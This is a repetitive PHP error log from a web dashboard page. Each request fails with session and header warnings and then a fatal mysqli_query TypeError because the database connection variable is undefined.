[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:16:56 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:06 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:23 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:26 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:33 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:45 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:17:46 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:02 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:29 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
